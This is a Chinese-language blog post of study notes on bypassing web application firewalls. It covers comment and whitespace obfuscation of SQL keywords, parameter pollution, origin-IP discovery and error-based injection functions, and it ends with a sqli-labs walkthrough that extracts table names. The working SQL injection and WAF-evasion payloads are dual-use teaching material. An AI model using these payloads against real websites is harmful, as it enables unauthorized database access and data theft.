WAF绕过原理分析笔记

null

Posted by NeptLiang on October 1, 2020

0x00 前言

Null


0x01 白盒绕过

1. 分析代码

2. 绕过限制

  1. 大小写变形OrORoR,适用于正则没有/i
  2. 等价替换and->&&, or->||
  3. 双写or->oorr

0x02 黑盒绕过

参考seceditor@MottoIN《WAF攻防研究之四个层次Bypass WAF》(mottoin.com/detail/359.html)

一、架构层绕过WAF

  1. 寻找源站(原始IP地址)->针对云WAF
  2. 利用同网段主机进行渗透->绕过WAF防护区域
  3. 利用边界漏洞(如利用SSRF)->绕过WAF防护区域

二、资源限制角度绕过WAF

POST大BODY(WAF可能会为了性能选择性忽略大数据包)

三、协议层面绕过WAF检测

1. 协议未覆盖

  • 请求方式变换:GET->POST
  • Content-Type: application/x-www-form-urlencoded -> multipart/form-data

2. 参数污染

检测:?id=1&id=2,WAF可能只检测第一个不检测第二个,中间件可能用第二个覆盖第一个

四、规则层面的绕过(绕过WAF规则)

1. SQL注释符绕过

  1. union/**/select
    
  2. union/*aaaa%0xbbs*/select
    
  3. union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select  /*(中间插入超长注释)*/
    
  4. 内联注释:
     /*!xxx*/
    

2. 空白符绕过

  1. MySQL空白符%09, %0A, %0B, %0D, %20, %0C, %A0, /*xxx*/

  2. 正则的空白符%09, %0A, %0B, %0D, %20
    • 例1:
       union%250Cselect
      

      (%25即“%”,“%250C”即”%0C”)

    • 例2:
       union%25A0select
      
  3. 函数分割符号
    1.  concat%2520(
      
    2.  concat/**/(
      
    3.  concat%250C(
      
    4.  concat%25a0(
      
  4. 浮点数词法解析(WAF可能对int/字符型+union select进行匹配,则用浮点型+union select)
    1.  where id=8E0union select
      
    2.  where id=8.0union select
      
    3.  where id=\Nunion select
      

      id=8.0union

  5. 利用error-based进行SQL注入(Error-based SQL注入函数非常容易被忽略)
    1.  extractvalue(1,concat(0x5c,md5(3)));
      
    2.  updatexml(1,concat(0x5d,md5(3),1);
      
    3.  GeometryCollection((select*from(select*from(select@@version)f)x))
      
    4.  ploygon((select*from(select name_const(version(),1))x))
      
    5.  linestring()
      
    6.  multpoint()
      
    7.  multilineString()
      
    8.  multipolygon()
      
  6. MySQL特殊语法
     select{x table_name}from{x information_schema.tables};
    

Fuzz绕过WAF

例1:注释符绕过

先测试最基本的:

union/**/select

再测试中间引入特殊字:

union/*aaaa%0xbbs*/select

最后测试注释长度:

union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select

模式:

union/*something*/select

例2:sqli-labs题解

  1. 检测:参数加单引号报错
  2. Fuzz: 把空格(%20)替换为/**/,然后用脚本或bp在注释中插随机特殊字符进行Fuzz,如数字1、字母a!@#$%'等,通过响应长度、payload是否符合语法、响应是否报错判断发现/*%!%2f*/可绕过该WAF
  3. 把参数中的空格(%20)全部替换/*%!%2f*/进行下一步测试
  4. order by判断字段数为3个
  5. union select 1, 2, 3,发现23出现在页面上,故这两个位置可回显结果
  6. union select 1, user(), 3,发现又被拦截,可知可能是user()被匹配到,故改成user/*%!%2f*/(),查询成功
  7. union select 1, (select table_name from information_schema.tables where table_schema=database() limit 0, 1), 3-- 
    

//End of Article

参考文献

公众号二维码